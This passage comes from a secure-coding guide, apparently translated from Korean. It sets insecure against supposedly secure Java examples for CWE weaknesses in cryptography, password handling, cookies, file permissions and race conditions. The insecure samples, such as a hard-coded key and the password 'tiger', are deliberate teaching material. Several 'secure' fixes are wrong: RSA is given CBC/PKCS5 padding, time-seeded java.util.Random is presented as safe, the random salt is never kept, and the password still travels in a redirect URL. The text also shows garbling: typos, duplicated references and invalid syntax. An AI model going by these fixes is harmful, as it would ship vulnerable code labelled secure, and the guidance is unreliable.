Even if encrypted, passwords should not be stored in the form of constants within the program. For symmetric algorithms, the use of AES, ARIA, SEED, or 3DES is recommended. When using RSA as an asymmetric algorithm, a key of 1024 bits or higher should be used. Hash functions such as MD4, MD5, and SHA1 should not be used.
C. Examples
Insecure Code Example
1: ……
2: private Connection con;
3:
4: public String encryptString (String usr) {
5: Stringc seed = "68af404b513073584c4b6f22b6c63e6b" ;
6:
7: try {
8: // 상수로 정의된 암호화키를 이용하여 encrypt를 수행한다.
9: SecretKeySpec skeySpec = new SecretKeySpec(seed.getBytes(), "AES");
10:
11: // 해당 암호화키 기반의 암호화 또는 복호화 업무 수행
12: ..
13: } catch (SQLException e) {
14: ……
15: }
16: return con;
17: }
18: }
Using the key used for encryption in the form of a constant within the code has the vulnerability that the cryptographic key is exposed simultaneously if the program source is exposed.
Secure Code Example
1: ……
2: private Connection con;
3:
4: public String encryptString (String usr) {
5: Stringc seed = null;
6:
7: try {
8: // 암호화 키를 외부환경에서 읽음.
9: seed = getPassword("./password.ini");
10: // 암호화된 암호화 키를 복호화함.
11: seed = decrypt(seed);
12: // 상수로 정의된 암호화키를 이용하여 encrypt를 수행한다.
13: // use key coss2
14: SecretKeySpec skeySpec = new SecretKeySpec(seed.getBytes(), "AES");
15:
16: // 해당 암호화키 기반의 암호화 또는 복호화 업무 수행
17: ..
18: } catch (SQLException e) {
19: ……
20: }
21: return con;
22: }
23: }
24:
Cryptographic keys used to decrypt encrypted passwords should also not be defined and used as constants within the code.
D. References
[1] CWE-321: Use of Hard-coded Cryptographic Key – http://cwe.mitre.org/data/definitions/321.html
15. Weak Encryption: Inadequate RSA Padding
A. Definition
It is dangerous to use the RSA algorithm without using OAEP padding. In practice, the RSA algorithm is generally used alongside a padding scheme. By using padding, attacks that exploit the vulnerabilities of the unpadded RSA algorithm (textbook RSA) can be prevented.
B. Secure Coding Techniques
When using the RSA algorithm, do not use it without padding (“RSA/NONE/NoPadding”); instead, use it with a padding scheme appropriate for the encryption algorithm.
C. Examples
Insecure Code Example
1: ……
2: public Cipher getCipher() {
3: Cipher rsa = null;
4:
5: try {
6: // RSA 사용시 NoPadding 사용
7: rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
8: } catch (java.security.NoSuchAlgorithmException e) { …… }
9: return rsa;
10: }
The example above makes the program vulnerable by using the RSA algorithm without sufficient padding.
Secure Code Example
1: ……
2: public Cipher getCipher() {
3: Cipher rsa = null;
4:
5: try {
6: /* 이 프로그램은 충분한 padding의 사용없이 RSA를 사용한다. */
7: rsa = javax.crypto.Cipher.getInstance("RSA/CBC/PKCS5Padding");
8: } catch (java.security.NoSuchAlgorithmException e) { …… }
9: return rsa;
10: }
You must use a well-known and appropriate padding method according to the algorithm being used. For example, when using the RSA algorithm, it is desirable to use the OAEP (Optimal Asymmetric Encryption Padding) scheme or PKCS#1 padding.
D. References
[1] CWE-325: Missing Required Cryptographic Step – http://cwe.mitre.org/data/definitions/325.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
16. Weak Cryptographic Hash: Hardcoded Salt
A. Definition
Using a fixed salt value within the code can act as a system vulnerability because every developer on the project can see that value, and it is very difficult to modify later. If an attacker discovers the salt value, they can create a rainbow table for that specific application to reverse-engineer the hash results.
B. Secure Coding Techniques
Use unpredictable random numbers for the salt (or nonce) and prohibit the reuse of specific values.
C. Examples
Insecure Code Example
1: ……
2: public byte[] encrypt(byte[] msg) {
3: // 소스가 노출되었을 때 사용자가 값을 알수 있다.
4: final byte badsalt = (byte) 100;
5: byte[] rslt = null;
6:
7: try {
8: MessageDigest md = MessageDigest.getInstance("SHA-256");
9: // Salt 값을 상수로 받는다.
10: md.update(badsalt);
11: rslt = md.digest(msg);
12: } catch (NoSuchAlgorithmException e) {
13: System.out.println("Exception: " + e);
14: }
15: return rslt;
16: }
The example above creates a vulnerability by using a salt defined as a constant when using a cryptographic hash function.
Secure Code Example
1: ……
2: public byte[] encrypt(byte[] msg) {
3: byte[] rslt = null;
4:
5: try {
6: SecureRandom prng = SecureRandom.getInstance("SHA256PRNG");
7: String randomNum = new Integer( prng.nextInt() ).toString();
8: MessageDigest md = MessageDigest.getInstance("SHA-256");
9:
10: // 랜덤 함수 등을 사용하여 임의의 숫자를 생성해야 한다.
11: md.update(randomNum.getBytes());
12: rslt = md.digest(msg);
13: } catch (NoSuchAlgorithmException e) {
14: System.out.println("Exception: " + e);
15: }
16: return rslt;
17: }
18: }
Since the salt (or nonce) must be an unpredictable random number, logic to generate an unpredictable salt value should be separately implemented and used.
D. References
[1] CWE-326: Inadequate Encryption Strength – http://cwe.mitre.org/data/definitions/326.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
17. Use of a Broken or Risky Cryptographic Algorithm
A. Definition
Cryptographic algorithms that are security-vulnerable or risky must not be used. Using non-standardized cryptographic algorithms may increase the possibility that an attacker can analyze and neutralize the algorithm. Some older cryptographic algorithms have become vulnerable as computer performance has improved; algorithms that previously took billions of years to decrypt can now be cracked within days or hours. Examples include RC2, RC4, RC5, RC6, MD4, MD5, SHA1, and DES algorithms.
B. Secure Coding Techniques
It is desirable to use stronger cryptographic algorithms, such as AES.
C. Examples
Insecure Code Example
1: ……
2: public byte[] encrypt(byte[] msg, Key k) {
3: byte[] rslt = null;
4:
5: try {
6: // DES등의 낮은 보안수준의 알고리즘을 사용하는 것은 안전하지 않다.
7: Cipher c = Cipher.getInstance("DES");
8: c.init(Cipher.ENCRYPT_MODE, k);
9: rslt = c.update(msg);
10: } catch (InvalidKeyException e) {
11: ……
12: }
13: return rslt;
14: }
15: }
Among cryptographic algorithms, using the DES algorithm is not secure.
Secure Code Example
1: ……
2: public byte[] encrypt(byte[] msg, Key k) {
3: byte[] rslt = null;
4:
5: try {
6: // 낮은 보안수준의 DES 알고리즘을 높은 보안수준의 AES 알고리즘으로 대체한다.
7: Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
8: c.init(Cipher.ENCRYPT_MODE, k);
9: rslt = c.update(msg);
10: } catch (InvalidKeyException e) {
11: ……
12: }
13: return rslt;
14: }
15: }
Instead of algorithms known to be vulnerable, it is desirable to use the AES algorithm with a key length of at least 128 bits.
D. References
[1] CWE-327: Use of a Broken or Risky Cryptographic Algorithm – http://cwe.mitre.org/data/definitions/327.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
[3] SANS Top 25 2010 – (SANS 2010) Porus Defense – CWE ID 327 Use of a Broken or Risky Cryptographic Algorithm
[4] Bruce Schneier. “Applied Cryptography”. John Wiley & Sons. 1996.
18. Use of Insufficiently Random Values
A. Definition
Using predictable random numbers introduces vulnerabilities into a system. If predictable random values are used in situations where unpredictable numbers are required, an attacker can anticipate the next number generated by the software to attack the system.
B. Secure Coding Techniques
When using a seed in a random number generator, it is desirable to change and use it in a way that is difficult to predict.
C. Examples
Insecure Code Example
1: ……
2: public double roledice() {
3: return Math.random();
4: }
5: }
The random() method of the java.lang.Math class is dangerous because the seed cannot be reset.
Secure Code Example
1: import java.util.Random;
2: import java.util.Date;
3: ……
4: public int roledice() {
5: Random r = new Random();
6: // setSeed() 메소드를 사용해서 r을 예측 불가능한 long타입으로 설정한다.
7: r.setSeed(new Date().getTime());
8: // 난수 생성
9: return (r.nextInt()%6) + 1;
10: }
11: }
The java.util.Random class generates a different random number every time even if the seed is not manually reset. Therefore, using the Random class is safer.
D. References
[1] CWE-330: Use of Insufficiently Random Values – http://cwe.mitre.org/data/definitions/330.html
[2] SANS Top 25 2009 – (SANS 2009) Porous Defense – CWE ID 330 Use of Insufficiently Random Values
[3] J. Viega and G. McGraw. “Building Secure Software: How to Avoid Security Problems the Right Way”. 2002.
19. Password Management: Password in Redirect
A. Definition
An HTTP redirect triggers an HTTP GET command through the web browser. In this case, the transmitted content is exposed in the address bar in the form of parameters, making it dangerous to send passwords via this method. Furthermore, since web servers record these actions along with the URL in logs and web proxies cache these pages, the password transmitted by the user remains in many parts of the system.
B. Secure Coding Techniques
Security-sensitive information such as passwords must not be sent via the sendRedirect method in a Java Servlet. When sending sensitive information to another page, parameters should be delivered using the POST method rather than the GET method.
C. Examples
Insecure Code Example
1: ……
2: public void redirect(ServletRequest r, HttpServletResponse response)
3: throws IOException {
4: String usr = r.getParameter("username");
5: String pass = r.getParameter("password");
6:
7: // HTTP 리다이렉트는 웹브라우저는 통해 HTTP GET request를 발생시킨다.
8: response.sendRedirect("j_security_check?j_username=" + usr + "&j_password=" + pass);
9: }
The above example makes the program vulnerable by retransmitting the HTTP request using the GET method.
Secure Code Example
1: ……
2: public void redirect(HttpServletRequest request, HttpServletResponse response)
3: throws IOException {
4: request.getSession().invalidate();
5: String usr = request.getParameter("username");
6: String pass = request.getParameter("password");
7:
8: // 패스워드의 유효성을 점검한다.
9: if ( usr == null || "".equals(usr) || pass == null || "".equals(pass) ) return;
10: if ( !pass.matches("") && pass.indexOf("@!#") > 4 && pass.length() > 8 ) {
11: ……
12: }
13: // POST 방식으로 페이지를 넘겨야 한다.
14: String send = "j_security_check?j_username=" + usr + "&j_password=" + pass;
15: response.encodeRedirectURL(send);
16: }
When sending security-sensitive information to another page, parameters must be delivered using the POST method rather than the GET method.
D. References
[1] CWE-359: Privacy Violation – http://cwe.mitre.org/data/definitions/359.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
[1] CWE-359 개인정보 침해 – http://cwe.mitre.org/data/definitions/359.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
20. Weak Password Requirements
A. Definition
Failing to require strong passwords from users ultimately makes it easier for attackers to breach user accounts and makes it difficult to protect those accounts.
B. Secure Coding Techniques
Encourage the input of high-security strings through password validation.
C. Examples
Insecure Code Example
1: public void doPost(HttpServletRequest request, HttpServletResponse response)
2: throws IOException, ServletException {
3:
4: try {
5: String url = "DBServer";
6: String usr = "Scott";
7:
8: // passwd에 대한 검증이 없음
9: String passwd = request.getParameter("passwd" );
10: Connection con = DriverManager.getConnection(url, usr, passwd);
11:
12: con.close();
13: } catch (SQLException e) {
14: System.err.println("...");
15: }
16: }
A variable (passwd) assigned from an untrusted external input is used as a password without any validation process.
Secure Code Example
1: private static final String CONNECT_STRING = "jdbc:ocl:orcl";
2:
3: public void doPost(HttpServletRequest request, HttpServletResponse response)
4: throws IOException, ServletException {
5: try {
6: request.getSession().invalidate();
7: String passwd = request.getParameter("passwd" );
8:
9: // passwd에 대한 검증
10: if (passwd == null || " " .equals(passwd)) return;
11:
12: // 패스워드 조합 규칙을 검사한 후, 위배될 경우 재입력을 요구
13: if (Password.validate(passwd) == false) return;
14:
15: InitialContext ctx = new InitialContext();
16: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
17: Connection con = datasource.getConnection();
18:
19: con.close();
20: } catch (SQLException e) {
21: System.err.println("...");
22: } catch (NamingException e) {
23: System.err.println("...");
24: }
25: }
After checking password combination rules (e.g., a string consisting of at least three types of characters and a length of 8 characters or more), the user is prompted to use a different password if the rules are violated.
D. References
[1] CWE-521: Weak Password Requirements – http://cwe.mitre.org/data/definitions/521.html
[2] OWASP Top 10 2010 A3: Broken Authentication and Session Management – http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
21. Cookie Security: Persistent Cookie
A. Definition
Storing security-sensitive data in a persistent cookie makes the system security vulnerable. In most web applications, cookies reside in memory and disappear when the browser session ends. However, if a programmer chooses, cookies can be set to persist regardless of browser sessions; these are recorded on the disk and loaded into memory when the next browser session begins. If personal information is stored in such persistent cookies, attackers have more opportunities to access them, making the system vulnerable.
B. Secure Coding Techniques
The expiration time of a cookie should be set to a minimum in relation to the duration of the session.
C. Examples
Insecure Code Example
1: ……
2: public void makeCookie(ServletRequest request) {
3: String maxAge = request.getParameter("maxAge");
4: if (maxAge.matches("[0-9]+")) {
5: String sessionID = request.getParameter("sesionID");
6: if (sessionID.matches("[A-Z=0-9a-z]+")) {
7: Cookie c = new Cookie("sessionID", sessionID);
8: // 외부 입력이 쿠키 유효시한 설정에 그대로 사용 되었다.
9: c.setMaxAge(Integer.parseInt(maxAge));
10: }
11: ……
12: }
This is a case where external input is used directly for the javax.servlet.http.Cookie.setMaxAge method call to set the cookie’s expiration time, causing a program vulnerability.
Secure Code Example
1: ……
2: public void makeCookie(ServletRequest request) {
3: String maxAge = request.getParameter("maxAge");
4:
5: if (maxAge == null || "".equals(maxAge)) return;
6: if (maxAge.matches("[0-9]+")) {
7: String sessionID = request.getParameter("sesionID");
8: if (sessionID == null || "".equals(sessionID)) return;
9: if (sessionID.matches("[A-Z=0-9a-z]+")) {
10: Cookie c = new Cookie("sessionID", sessionID);
11: // 쿠키 유효시한의 최대값을 설정해서, 그 아래 값으로 조정한다.
12: int t = Integer.parseInt(maxAge);
13: if (t > 3600) {
14: t = 3600;
15: }
16: c.setMaxAge(t);
17: }
18: ……
19: }
Logic to validate the user request should be written separately and called before the method call to set the cookie expiration time.
D. References
[1] CWE-539: Information Exposure Through Persistent Cookies – http://cwe.mitre.org/data/definitions/539.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
22. Multiple Binds to the Same Port
A. Definition
Allowing multiple sockets to bind to a single port can lead to packets being stolen from the service running on that port, or it can allow an attacker to hijack the service.
B. Secure Coding Techniques
To prevent exposure to packet sniffing attacks, multiple server-side sockets should not be bound to a single port number, particularly when using the UDP protocol.
C. Examples
Insecure Code Example
1: ……
2: final int INPORT = 1711;
3: void foo () {
4: try {
5: java.net.DatagramSocket socket = new java.net.DatagramSocket(INPORT);
6: socket.setReuseAddress(true);
7: } catch (SocketException e) { …… }
8: }
9: }
Allowing multiple sockets to bind to a single port number exposes the application to packet sniffing attacks.
Secure Code Example
1: ……
2: final int INPORT = 1711;
3: void foo () {
4: try {
5: java.net.DatagramSocket socket = new java.net.DatagramSocket(INPORT);
6: socket.setReuseAddress(false);
7: } catch (SocketException e) { …… }
8: }
The port reuse option should not be enabled, regardless of the protocol being used.
D. References
[1] CWE-605: Multiple Binds to the Same Port – http://cwe.mitre.org/data/definitions/605.html
23. Sensitive Cookie in HTTPS Session without Secure Attribute
A. Definition
When a service is provided exclusively over HTTPS, it is often assumed that all information is encrypted and transmitted securely. However, if security-sensitive data is stored in a browser cookie without setting the “Secure” attribute, the cookie can be exposed in cleartext if the browser inadvertently sends it over an unencrypted HTTP connection.
B. Secure Coding Techniques
If a service is provided exclusively via HTTPS, you must call the setSecure(true) method of the Cookie object when saving data to browser cookies.
Note: If a site (domain) uses both HTTP and HTTPS, calling setSecure(true) will prevent the browser from sending the cookie over HTTP, which may cause functional issues or service failures for the unencrypted portions of the site.
C. Examples
Insecure Code Example
1: ……
2: private final String ACCOUNT_ID = "account";
3:
4: public void setupCookies(ServletRequest r, HttpServletResponse response) {
5: String acctID = r.getParameter("accountID");
6: // 보안속성 설정되지 않은 쿠키
7: Cookie c = new Cookie(ACCOUNT_ID, acctID);
8: response.addCookie(c);
9: }
When transmitting cookies containing sensitive information in an HTTPS-only service, failing to set the security attribute can expose information to attackers.
Secure Code Example
1: ……
2: private final String ACCOUNT_ID = "account";
3:
4: public void setupCookies(ServletRequest r, HttpServletResponse response) {
5: String acctID = r.getParameter("accountID");
6: // 계정 유효성 점검
7: if (acctID == null || "".equals(acctID)) return;
8: String filtered_ID = acctID.replaceAll("\r", "");
9:
10: Cookie c = new Cookie(ACCOUNT_ID, filtered_ID);
11: // 민감한 정보를 가진 쿠키를 전송할때에는 보안 속성을 설정하여야 한다.
12: c.setSecure(true);
13: response.addCookie(c);
14: }
In an HTTPS-only service, you must call setSecure(true) on the Cookie object when using cookies that contain sensitive data.
D. References
[1] CWE-614: Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute – http://cwe.mitre.org/data/definitions/614.html
[2] OWASP Top 10 2010 – (OWASP 2010) A9 Insufficient Transport Layer Protection
24. Password in Comment
A. Definition
Including passwords in comments can compromise system security. When SW developers write passwords in comments for convenience, it becomes very difficult to remove them after the software is completed. Furthermore, if an attacker gains access to the source code or uses a disassembler to view the content of comments, they can very easily infiltrate the system.
B. Secure Coding Techniques
Passwords and security-related content left in comments during development must be removed once development is finished.
C. Examples
Insecure Code Example
1: ……
2: //Password for administrator is " tiger."<-주석에 패스워드가 적혀있다.
3: public boolean DBConnect() {
4: String url = "DBServer";
5: String password = "tiger";
6: Connection con = null;
7:
8: try {
9: con = DriverManager.getConnection(url, "scott", password);
10: } catch (SQLException e) {
11: ……
12: }
In the example above, a vulnerability occurs because a username and password were described in a comment for purposes such as debugging and were not properly deleted.
Secure Code Example
1: ……
2: //디버깅 등의 용도로 소스 주석에 적어놓은 패스워드는 삭제해야 한다.
3: public Connection DBConnect(String id, String password) {
4: String url = "DBServer";
5: Connection conn = null;
6:
7: try {
8: String CONNECT_STRING = url + ":" + id + ":" + password;
9: InitialContext ctx = new InitialContext();
10: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11: conn = datasource.getConnection();
12: } catch (SQLException e) { …… }
13: return conn;
14: }
Information such as user accounts or passwords left in comments during program development must be thoroughly deleted upon completion of development.
D. References
[1] CWE-615: Information Exposure Through Comments – http://cwe.mitre.org/data/definitions/615.html
[2] OWASP Top 10 2010 – (OWASP 2010) A7 Insecure Cryptographic Storage
[3] Web Application Security Consortium 24 + 2 – (WASC 24 + 2) Information Leakage
25. Incorrect Permission Assignment for Critical Resource
A. Definition
When software unintentionally grants read or modify permissions for critical security-related resources, unauthorized users may be able to access or use those resources.
B. Secure Coding Techniques
- When using important resources like configuration files, verify whether unauthorized users can access them.
- Ensure that configuration files, executable files, and libraries can only be read or written by the software administrator.
C. Examples
Insecure Code Example
1: // 파일 권한 : rw-rw-rw-, 디렉터리 권한 : rwxrwxrwx
2: String cmd = "umask 0" ;
3: File file = new File("/home/report/report.txt");
4: ...
5: Runtime.getRuntime().exec(cmd);
When creating a file using the Java runtime API, umask is used in a way that grants the maximum possible permissions, allowing all users to have read/write access.
Secure Code Example
1: // 파일 권한 : rw-------, 디렉터리 권한 : rwx------
2: String cmd = "umask 77" ;
3: File file = new File("/home/report/report.txt");
4: ...
5: Runtime.getRuntime().exec(cmd);
It is necessary to set umask to be as restrictive as possible—specifically, preventing anyone except the owner from reading or writing to the file.
D. References
[1] CWE-732: Incorrect Permission Assignment for Critical Resource – http://cwe.mitre.org/data/definitions/732.html
CWE-276: Incorrect Default Permissions – http://cwe.mitre.org/data/definitions/276.html
CWE-277: Insecure Inherited Permissions – http://cwe.mitre.org/data/definitions/277.html
CWE-278: Insecure Preserved Inherited Permissions – http://cwe.mitre.org/data/definitions/278.html
CWE-279: Incorrect Execution-Assigned Permissions – http://cwe.mitre.org/data/definitions/279.html
CWE-281: Improper Preservation of Permissions – http://cwe.mitre.org/data/definitions/281.html
CWE-285: Improper Authorization – http://cwe.mitre.org/data/definitions/285.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25/
Section 4. Time and State
1. Race Condition: Static Database Connection (dbconn)
A. Definition
A database connection stored in a static field is shared among multiple threads. However, because a transaction resource object can typically be associated with only one transaction at a time, simultaneous access can lead to errors.
B. Secure Coding Techniques
Database connections should not be stored in static fields. Storing a DB connection in a static field allows it to be shared across threads, which can cause a race condition.
C. Examples
Insecure Code Example
1: ……
2: // DB 연결 객체가 정적 필드에 저장되어 에러를 유발할 수 있다.
3: private static Connection conn;
4: private static final String CONNECT_STRING = "jdbc:ocl:orcl";
5:
6: public Connection dbConnection(String url, String user, String pw) {
7: InitialContext ctx;
8: try {
9: ctx = new InitialContext();
10: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11: conn = datasource.getConnection();
12: } catch (NamingException e) { …… }
13: return conn;
14: }
15
Storing a DB connection object in a static field, as shown in the example above, can lead to a race condition.
Secure Code Example
1: ……
2: // DB 연결 객체는 정적 필드에 저장하지 않는다.
3: private Connection conn;
4: private static final String CONNECT_STRING = "jdbc:ocl:orcl";
5:
6: public Connection dbConnection() {
7: InitialContext ctx;
8: try {
9: ctx = new InitialContext();
10: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
11: conn = datasource.getConnection();
12: } catch (NamingException e) { …… }
13: return conn;
14: }
15: ……
To prevent race conditions, the DB connection object should be stored in a dynamic (instance) field.
D. References
[1] CWE-362: Race Condition – http://cwe.mitre.org/data/definitions/362.html
[2] SANS Top 25 2010 – (SANS 2010) Insecure Interaction – CWE ID 362 Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)
[3] Java 2 Platform Enterprise Edition Specification, v1.4, Sun Microsystems
2. Race Condition: Singleton Member Field
A. Definition
Because the member fields of a Servlet are shared across different threads (as Servlets are typically singletons managed by the container), values stored in these fields can be exposed to other users.
B. Secure Coding Techniques
Storing user-specific data in a Servlet’s member fields creates a race condition. This allows one user to potentially view or overwrite data belonging to another user. Therefore, user input data should never be stored in Servlet member fields; instead, local variables should be used.
C. Examples
Insecure Code Example
1: public class U9404 extends javax.servlet.http.HttpServlet {
2: // 파라미터의 매개변수값이 전역변수로 할당되어서 다른 사용자의 정보를 볼 수 있다.
3: private String name;
4:
5: protected void doPost(HttpServletRequest req, HttpServletResponse res)
6: throws ServletException, IOException {
7: name = req.getParameter("name");
8: ……
In this example, a request parameter value is stored in a member field before being sent to an output stream. While this works correctly in a single-user environment, if two users access the servlet almost simultaneously, one user may see the other user’s information.
Secure Code Example
1: public class S9404 extends javax.servlet.http.HttpServlet {
2: // private String name; <- 멤버 필드를 사용하지 않는다.
3: protected void doPost(HttpServletRequest req, HttpServletResponse res)
9: throws ServletException, IOException {
4: // 파라미터의 매개변수를 지역 변수에 할당한다.
5: String name = req.getParameter("name" );
6: if (name == null || "".equals(name)) return; //name = "user";
7: ……
The request parameter value is stored in a local variable instead of a member field, ensuring thread safety.
D. References
[1] CWE-362: Race Condition – http://cwe.mitre.org/data/definitions/362.html
[2] SANS Top 25 2010 – (SANS 2010) Insecure Interaction – CWE ID 362 Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’)
[3] The Java Servlet Specification, Sun Microsystems
3. Race Condition: Time of Check to Time of Use (TOCTOU)
A. Definition
In parallel execution environments, applications often check the status of a resource before using it. However, the state of the resource can change between the time of the check and the time of actual use. This discrepancy can cause various issues, such as deadlocks, race conditions, and other synchronization errors.
B. Secure Coding Techniques
When multiple threads access and use a shared resource (e.g., a file), the program must be written so that only one thread can access it at a time using synchronization blocks (synchronized).
To minimize the impact on performance, wrap only the critical code section with the synchronization block.
※ When using multi-threading and shared variables, use only thread-safe functions.
C. Examples
Insecure Code Example (File Access)
1: class FileMgmtThread extends Thread {
2:
3: private String manageType = "";
4:
5: public FileMgmtThread (String type) {
6: manageType = type;
7: }
8:
9: public void run() {
10: try {
11: if ( manageType.equals("READ") ) {
12: File f = new File("Test_367.txt");
13: if (f.exists()) { // 만약 파일이 존재하면 파일내용을 읽음
14: BufferedReader br = new BufferedReader(new FileReader(f));
15: br.close();
16: }
17: } else if ( manageType.equals("DELETE") ) {
18: File f = new File("Test_367.txt");
19: if (f.exists()) { // 만약 파일이 존재하면 파일을 삭제함
20: f.delete();
21: } else {
22: ;
23: }
24: }
25: } catch (IOException e) {
26: }
27: }
28: }
29:
30: public class CWE367 {
31: public static void main(String[] args) {
32: // 파일의 읽기와 파일을 삭제하는 것을 동시에 수행한다.
33: FileMgmtThread fileAccessThread = new FileMgmtThread("READ");
34: FileMgmtThread fileDeleteThread = new FileMgmtThread("DELETE");
35: fileAccessThread.start();
36: fileDeleteThread.start();
37: }
38: }
In this example, a time gap occurs between checking the file’s existence and actually using/deleting the file. If the “DELETE” thread executes between the “READ” thread’s check and its read operation, the program may behave unexpectedly. This “window of vulnerability” can also be exploited by attackers to swap files.
Secure Code Example (File Access with Synchronization)
1: class FileMgmtThread extends Thread {
2:
3: private static final String SYNC = "SYNC" ;
4:
5: private String manageType = "";
6:
7: public FileMgmtThread (String type) {
8: manageType = type;
9: }
10:
11: public void run() {
12: // synchronized 를 사용함으로써 지정된 객체에 lock이 걸려서
13: // 블록을 수행하는 동안 다른 Thread가 접근할 수 없다.
14: synchronized(SYNC) {
15: try {
16: if ( manageType.equals("READ") ) {
17: File f = new File("Test_367.txt");
18: if (f.exists()) { // 만약 파일이 존재하면 파일내용을 읽음
19: BufferedReader br = new BufferedReader(new FileReader(f));
20: br.close();
21: }
22: } else if ( manageType.equals("DELETE") ) {
23: File f = new File("Test_367.txt");
24: if (f.exists()) { // 만약 파일이 존재하면 파일을 삭제함
25: f.delete();
26: } else {
27: ;
28: }
29: }
30: } catch (IOException e) {
31: }
32: }
33: }
34: }
35:
36: public class CWE367 {
37: public static void main(String[] args) {
38: // 파일의 읽기와 파일을 삭제하는 것을 동시에 수행한다.
39: FileMgmtThread fileAccessThread = new FileMgmtThread("READ");
40: FileMgmtThread fileDeleteThread = new FileMgmtThread("DELETE");
41: fileAccessThread.start();
42: fileDeleteThread.start();
43: }
44: }
When multiple threads access shared resources, the logic is modified to ensure only one thread can access the resource at a time using synchronization blocks.
Insecure Code Example (Servlet Member Field)
1: public class MyServlet extends HttpServlet {
2: String name;
3: public void doPost ( HttpRequestRequest hreq, HttpResponceServlet hres ) {
4: name = hreq.getParameter("name");
5: …….
6: }
MyServlet, which inherits from HttpServlet, uses name as a member field. Since Servlets are typically singletons, the name variable is shared among all users accessing the servlet simultaneously, leading to information exposure.
Secure Code Example (Using Local Variables)
1: public class MyServlet extends HttpServlet {
2: public void doPost ( HttpRequestRequest hreq, HttpResponceServlet hres ) {
3: // 서블릿 프로그램의 멤버 변수는 공용으로 사용하기 때문에 로컬로 정의해서 사용한다.
4: String name = hreq.getParameter("name");
5: ...
6: }
By defining name as a local variable within the doPost method, the race condition is eliminated as each thread gets its own stack-allocated copy.
Secure Code Example (Synchronized Shared Field)
1: public class MyClass {
2: String name;
3: public void doProcess (HttpRequestRequest hreq ) {
4: // 멤버변수 공유 시 동기화시킨다.
5: synchronized {
6: name = hreq.getParameter("name");
7: ...
8: }
9: ...
10: }
If business logic requires name to be shared among multiple threads, the critical code section must be synchronized to ensure thread safety.
D. References
[1] CWE-367: Time-of-Check Time-of-Use (TOCTOU) Race Condition – http://cwe.mitre.org/data/definitions/367.html
[2] SANS Top 25 Most Dangerous Software Errors
[3] Howard, LeBlanc, and Viega. “24 Deadly Sins of Software Security.” Sin 13: Race Conditions.
[4] Andrei Alexandrescu. “volatile – Multithreaded Programmer’s Best Friend”. Dr. Dobb’s.
[5] Steven Devijver. “Thread-safe webapps using Spring” David Wheeler. “Prevent race conditions”. 2007-10-04
[6] Matt Bishop. “RaceConditions, Files, andSecurityFlaws; or the Tortoise andtheHareRedux”. September 1995
[7] Johannes Ullrich. “Top 25 Series – Rank 25 – Race Conditions”. SANS Software Security Institute. 2010-03-
4. J2EE Bad Practices: Direct Use of Threads
A. Definition
The J2EE standard prohibits the direct use of threads within web applications. Instead of managing threads manually, developers should use the parallel execution frameworks provided by the platform. Failing to do so can lead to deadlocks, race conditions, and other synchronization errors, as the application container cannot manage the lifecycle or security context of manually created threads.
B. Secure Coding Techniques
In a J2EE environment, use the container-provided mechanisms for asynchronous processing or parallel execution instead of creating raw Thread objects.
C. Examples
Insecure Code Example
1: public class U383 extends HttpServlet {
2: protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
3: // Thread를 만들고 background에서 작업을 수행한다.
4: Runnable r = new Runnable() {
5: public void run() {
6: System.err.println("do something");
7: }
8: };
9: new Thread(r).start();
10: }
11: }
Directly creating and starting threads in a J2EE program can cause deadlocks, race conditions, and various synchronization issues because the container loses control over the resource management.
Secure Code Example
1: public class S383 extends HttpServlet {
2: protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
3: // 수행할 Thread에 대해서 일반 자바 클래스를 만든다.
4: // New MyClass().main();
5:
6: // 만약 async로 병렬작업을 하기 위해서는 JAVA Runtime을
7: // 사용하여 async로 통신하는 게 좋다.
8: Runtime.getRuntime().exec("java AsyncClass" );
9: }
10: }
11:
12: class AsyncClass {
13: public static void main(String args[]) {
14: // Process and store request statistics.
15: // ……
16: System.err.println("do something");
17: }
18: }
Instead of using threads directly, utilize the frameworks provided by the platform (such as EJB asynchronous methods, Managed Executor Services, or external process execution) for parallel execution.
D. References
[1] CWE-383: J2EE Bad Practices: Direct Use of Threads – http://cwe.mitre.org/data/definitions/383.html
[2] Java 2 Platform Enterprise Edition Specification, v1.4, Sun Microsystems
5. Symbolic Name not Mapping to Correct Object
A. Definition
When using symbolic names to designate a specific target, an attacker can manipulate the target pointed to by the symbolic name, preventing the program from performing its originally intended operation.
B. Secure Coding Techniques
When a class object is required, class constructors should be called only through standard methods.
C. Examples
Insecure Code Example
1: ……
2: public void f() throws ClassNotFoundException, InstantiationException,
IllegalAccessException {
3: // Class.forName으로 클래스를 생성하고 있다.
4: Class c = Class.forName("testbed.unsafe.U386.Add");
5: Object obj = (Add)c.newInstance();
6: Add add = (Add) obj;
7: System.out.println(add.add(3, 5)); // 34
8:
9: Object obj2 = (Add)Class.forName(" testbed.unsafe.Add" ).newInstance();
10: Add add2 = (Add) obj2;
11: System.out.println(add2.add(3, 5)); // 8
12: }
13:
14: class Add {
15: int add(int x, int y) {
16: return x + y;
17: }
18: }
19: }
20:
21: class Add {
22: int add(int x, int y) { return (x*x + y*y); }
23: }
While java.lang.Class.forName() returns a class based on the argument string, it cannot guarantee that the class indicated by the “name” string always implements the same logic or refers to the exact intended bytecode, especially in complex classpath environments.
Secure Code Example
1: ……
2: public void f() throws ClassNotFoundException,
3: InstantiationException, IllegalAccessException {
